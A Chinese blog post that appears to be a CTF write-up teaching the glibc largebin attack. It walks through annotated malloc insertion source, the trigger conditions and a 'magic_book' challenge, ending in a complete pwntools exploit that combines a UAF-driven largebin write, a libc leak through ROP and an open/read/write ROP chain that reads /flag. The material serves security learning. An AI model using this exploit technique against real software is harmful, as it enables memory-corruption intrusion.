Always kee|

dr4w

园龄:1年粉丝:1关注:2

large_bin_attack

large_bin的结构如下

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

这个结构中的 fd_nextsize 和 bk_nextsize 来链接到下一个 size 的堆块头部和上一个 size 的堆块头部。 然后在相同 size 的堆块内部再通过 fd 和 bk 来进行内部的管理。

large_bin的组织结构

large_bin只有一个chunk

image-20250219222059780

largebin 里放了一组同样大小的 chunk

image-20250219222124915

largebin 里放了多组不同大小的 chunk

image-20250219222144627

指针作用

如果我们“擦去”所谓的 nextsize 指针,就会发现 largebin 中的 chunk 还是用 fd 和 bk 的双向链表组织的。

​ 然而每一个 largebin 所保存的 chunk 的 size 都是一个范围。largebin 的组织在内部是 fd 方向上 size 广义递减的(除了最后的 chunk),在 bk 方向上 size 是广义递增的(除了开头的 chunk)。

​ 既然 size 有序,完全没必要单个遍历,需要进行插入时也是依据合适的 size 找到插入的位置。为此用 fd_nextsize 来记录下一个更大 size 的 chunk,用 bk_nextsize 来记录上一个更小 size 的 chunk。

原文链接:https://blog.csdn.net/Mr_Fmnwon/article/details/142330217

插入源码分析

// 从unsortedbin来,如果不插入smallbin
if (in_smallbin_range (size)){
    ...
// 则插入largebin
}else{
     victim_index = largebin_index (size);  //根据size找到对应的large_bin的索引
     bck = bin_at (av, victim_index);	//获得对应的large_bin,bck为
     fwd = bck->fd;		//获得当前large_bin的头chunk

     if (fwd != bck){  //检查large_bin非空
         size |= PREV_INUSE;
         /* if smaller than smallest, bypass loop below */
         assert (chunk_main_arena (bck->bk));
         // 特判,如果比最小的还小,则插入尾部
         if ((unsigned long) (size)
             < (unsigned long) chunksize_nomask (bck->bk)){
             ...
         // 否则将开始循环依据size找到合适的位置
         }else{
              assert (chunk_main_arena (fwd));
              while ((unsigned long) size < chunksize_nomask (fwd)){
                  fwd = fwd->fd_nextsize;
                  assert (chunk_main_arena (fwd));
              }
              // 如果已经有该size的free chunk,则插在该size chunk的第二个位置
              // 注意,fd_nextsize和bk_nextsize都不需要变动,这也是插入到第二个的原因
              if ((unsigned long) size
                    == (unsigned long) chunksize_nomask (fwd))
                  /* Always insert in the second position. */
                  fwd = fwd->fd;
              // 就是新的size,找到最近的大于该size/小于该size的free chunk的序列的第一个chunk
              else{
                  // 先对正在插入的chunk进行赋值,新插入chunk的两个nextsize已经指出去了
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  // 然后就是将原本连在一起的旧的链上的指针更新,指向新插入的chunk
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;
         }
      }else
            victim->fd_nextsize = victim->bk_nextsize = victim;
}
// 刚刚进行的都是nextsize的变动,接下来进行fd和bk的变动
// 已经找到了插入位置,即插入到fwd和bck这两个chunk之间,这对于所有情况都是一样,因此这块代码通用
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

攻击过程和效果

image-20250219222211852

当进行插入操作时,就会进行如下改变

image-20250219222237631

可以看到,两个地址都被写上了同一个堆指针,这就是largebin attack所能达成的效果。

glibc < 2.38

bck = bin_at (av, victim_index);
fwd = bck->fd;
if (fwd != bck){
    ...
    if ((unsigned long) (size)
        < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        // 待插入的chunk,填写好fd_nextsize和bk_nextsize指针域
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
    
        // 接下来对victim->bk_nextsize->fd_nextsize进行赋值,
        // 而刚刚进行了赋值:victim->bk_nextsize = fwd->fd->bk_nextsize;
        // 因此如果我们对fwd->fd->bk_nextsize进行修改
        // (bin中最小的chunk但是我们往往让bin中只有一个chunk)
        // 所以实际上  
        // (fwd->fd->bk_nextsize)->fd_nextsize=victim => target->fd_neextsize=victim
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }
    ...
}

修改 chunk 的 bk_nextsize 域为 target 即可在释放一块更小的 chunk 到 largebin 时,在target->fd_nextsize,也即 [target+0x20] 写上刚刚进入 largebin 的 chunk 的头指针。

image-20250219222317277

插入效果

image-20250219222335051

触发条件

static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
      if (!checked_request2size (bytes, &nb))
      {
          __set_errno (ENOMEM);
          return NULL;
      }  
  ...
      for (;; )
      {
          int iters = 0;
          // 如果unsortedbin不为空
          while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
          {
              // victim是当前unsortedbin中的第一个块
              bck = victim->bk;
              size = chunksize (victim);
              mchunkptr next = chunk_at_offset (victim, size);

              ...
                  /* victim从unsortedbin中摘除 */
                  if (__glibc_unlikely (bck->fd != victim))
                      malloc_printerr ("malloc(): corrupted unsorted chunks 3");
              unsorted_chunks (av)->bk = bck;
              bck->fd = unsorted_chunks (av);

              ...
                  /* place chunk in bin */
                  // 判断victim的大小是否属于smallbin
                  if (in_smallbin_range (size))
                  {
                      victim_index = smallbin_index (size);
                      bck = bin_at (av, victim_index);
                      fwd = bck->fd;
                  }
              else
              {
                  victim_index = largebin_index (size);
                  // bck是Largebin中的第一个chunk
                  bck = bin_at (av, victim_index);
                  //  在Largebin中只有一个块的时候,fwd指向的是Largebin链表头
                  fwd = bck->fd;

                  /* maintain large bins in sorted order */
                  // 如果largebin不为空,则维护largebin的顺序性(小到大)
                  if (fwd != bck)
                  {
                      /* Or with inuse bit to speed comparisons */
                      size |= PREV_INUSE;
                      /* if smaller than smallest, bypass loop below */
                      assert (chunk_main_arena (bck->bk));
                      /* 
                        chunksize_nomask(bck->bk)取得的是Largebinbin中第一个chunk的大小
					  size则是的unsortedbin中第一个chunk的大小
			  		*/
                      if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
                      {
                          fwd = bck;
                          bck = bck->bk;

                          victim->fd_nextsize = fwd->fd;
                          victim->bk_nextsize = fwd->fd->bk_nextsize;
                          fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                      }
                      else
                      {
                          ...
                      }
                  }
                  else
                      // 将victim视作largebin中的块
                      victim->fd_nextsize = victim->bk_nextsize = victim;
              }
              // 将victim放入相应的bin链表中
              mark_bin (av, victim_index);
              victim->bk = bck;
              victim->fd = fwd;
              fwd->bk = victim;
              bck->fd = victim;
              ...
          }
}
  1. 分配 chunk1:chunk1 的大小为 size1,且 size1 在 largebin 范围内。largebin 是用于存储较大块的 bin,通常用于管理较大的内存块。
  2. 分配 pad1:pad1 的作用是防止 chunk1 在释放时与 top chunk 合并。top chunk 是堆的顶部空闲内存区域,如果释放的块与 top chunk 相邻,系统会将其合并到 top chunk 中,而不是放入 unsorted bin。
  3. 分配 chunk2:chunk2 的大小为 size2,且 size2 < size1。chunk2 也被分配在 largebin 范围内。
  4. 分配 pad2:pad2 的作用与 pad1 类似,防止 chunk2 在释放时与 top chunk 合并。
  5. 释放 chunk1:当 chunk1 被释放时,它会被放入 unsorted bin 中,因为 unsorted bin 是释放块的第一站。
  6. 分配 size3 的块:此时,程序请求分配一个大小为 size3 的块,且 size3 > size1。由于 size3 大于 size1,堆管理器会从 unsorted bin 中查找是否有合适的块。由于 chunk1 的大小 size1 小于 size3,chunk1 无法直接满足这个请求。
    在这种情况下,堆管理器会将 chunk1​ 从 unsorted bin​ 中移除,并将其放入 largebin​ 中。largebin​ 是按照块大小排序的,因此 chunk1​ 会被放入适当的 largebin​ 中,以便在后续的分配请求中能够快速找到合适大小的块。

例题

magic_book

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  sandbox();
  menu1();
  dest = malloc(0x100uLL);
  while ( 1 )
  {
    book = (unsigned __int16)book;
    menu2();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          edit_the_book();
          break;
        case 1:
          creat_the_book();
          break;
        case 2:
          delete_the_book();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

经典菜单设置了沙箱

└─$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

创建函数

size_t creat_the_book()
{
  size_t v0; // rbx
  size_t size[2]; // [rsp+Ch] [rbp-14h] BYREF

  if ( book > 5 )	//数量限制为5个
  {
    puts("full!!");
    exit(0);
  }
  printf("the book index is %d\n", book);
  puts("How many pages does your book need?");
  LODWORD(size[0]) = 0;
  __isoc99_scanf("%u", size);
  if ( LODWORD(size[0]) > 0x500 )	//最大为0x500
  {
    puts("wrong!!");
    exit(0);
  }
  v0 = book;
  p[v0] = malloc(LODWORD(size[0]));		//p为堆管理结构
  return ++book;
}

编辑函数

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("come on,Write down your story!");
  read(0, buf, book);	//book的值若够大,可造成栈溢出漏洞
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

删除函数

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 5 || !p[v2] )
  {
    puts("wrong!!");
    exit(0);
  }
  free((void *)p[v2]);		//存在uaf漏洞
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);		//
  if ( d && (buf[0] == 89 || buf[0] == 121) )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !p[v2] )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(p[v1] + 8LL), 0x18uLL);	//free_chunk的0x8-0x20处可写任意数
    --d;
    return 0LL;
  }
  else
  {
    if ( d )
      puts("ok!");
    else
      puts("no ways!!");
    return 0LL;
  }
}

该题的思路

1.申请0x450,0x440,0x440(防止合并)大小的三个堆块

2.释放第一个堆块(此时进入unsortbin)

3.申请一个比第一个堆块大的堆块(此时进入largebin)

4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置

5.申请一个大堆块完成largebin_attack

6.栈溢出orw读取flag

完整exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

def duan():
    gdb.attach(io)
    pause()

x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

ru("0x")
pie_base = int(io.recv(12),16) - 0x4010
leak("pie_base",pie_base)

pop_rdi = 0x1863 + pie_base
pop_rsi_r15 = 0x1861 + pie_base

def cmd(index):
    ru("choice:")
    sl(index)

def create(size):
    cmd(1)
    ru("book need?")
    sl(size)

def edit(content):
    cmd(3)
    ru("story!\n")
    io.sendline(content)

def delete1(index):
    cmd(2)
    ru("delete?")
    sl(index)
    ru("eleted?(y/n)")
    io.send('n')
def delete2(index,edit_index,content):
    cmd(2)
    ru("delete?")
    sl(index)
    ru("eleted?(y/n)")
    io.send('y')
    ru("write?")
    sl(edit_index)
    ru("content: ")
    io.send(content)

puts_plt = elf.plt.puts + pie_base
puts_got = elf.got.puts + pie_base
target_addr = 0x4050 + pie_base

create(0x450)#0
create(0x98)#1
create(0x430)#2
create(0x98)#3
delete1(0)
#chunk0首先会放入unsorted_bin中
create(0x460) #4
#size4>size0,chunk0会放入large_bin中
delete2(2,0,b'a'*0x10+p64(target_addr - 0x20))
#chun2进入unsorted中,此时large_bin
create(0x460)
###
#当程序分配一个可以进入 unsorted bin 的堆块时,堆管理器会遍历 unsorted bin,并将其中的块整理到 smallbin 或 largebin 中。
main=pie_base+0x172e
rdi=pie_base+0x1863
edit(b'a'*0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x15E1+pie_base))
libc_base = uu64(io.recv(6)) - libc.sym['puts']
leak("libc_base",libc_base)

readd=libc_base+libc.sym['read']
writee=libc_base+libc.sym['write']
openn=libc_base+libc.sym['open']
pop_rdx_r12 = 0x11f2e7 + libc_base
pop_rsi = 0x000000000002be51 + libc_base

orw = b'a'*0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2 + p64(readd)
orw += p64(pop_rdi) + p64(pie_base+0x4090) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(openn)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100) *2 + p64(readd)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2  + p64(writee)
ru("down your story!")
io.send(orw)
io.sendline(b"/flag\x00")
itr()

利用条件:

  1. 修改权限:能够修改 Largebin 中块的 bk_nextsize 字段。
  2. 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。

利用步骤:

  1. 分配堆块:
    • 分配一块大小为 size1 且在 Largebin 范围内的块 chunk1。
    • 分配一块任意大小的块 pad1,以防止在释放 chunk1 时系统将其与 top chunk 合并。
    • 分配一块大小为 size2 且在 Largebin 范围内的块 chunk2,要求 size2 < size1 且 chunk2 紧邻 chunk1。
    • 分配一块任意大小的块 pad2,以防止在释放 chunk2 时系统将其与 top chunk 合并。
  2. 释放并重新分配:
    • 释放 chunk1,此时系统会将其放入 unsortedbin。再分配一个大小为 size3 的块,要求 size3 > size1,此时系统会将 chunk1 放进 Largebin 中。
    • 确保 chunk2 紧邻 chunk1。
    • 释放 chunk2 进入 unsortedbin。
  3. 修改指针:
    • 修改 chunk1->bk_nextsize 为 Target - 0x20。
  4. 触发攻击:
    • 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。

参考:https://blog.csdn.net/qq_41252520/article/details/126211062

https://www.cnblogs.com/CH13hh/p/18319386

本文作者:dr4w

本文链接:https://www.cnblogs.com/zMeedA/p/18725470

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   dr4w  阅读(5)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起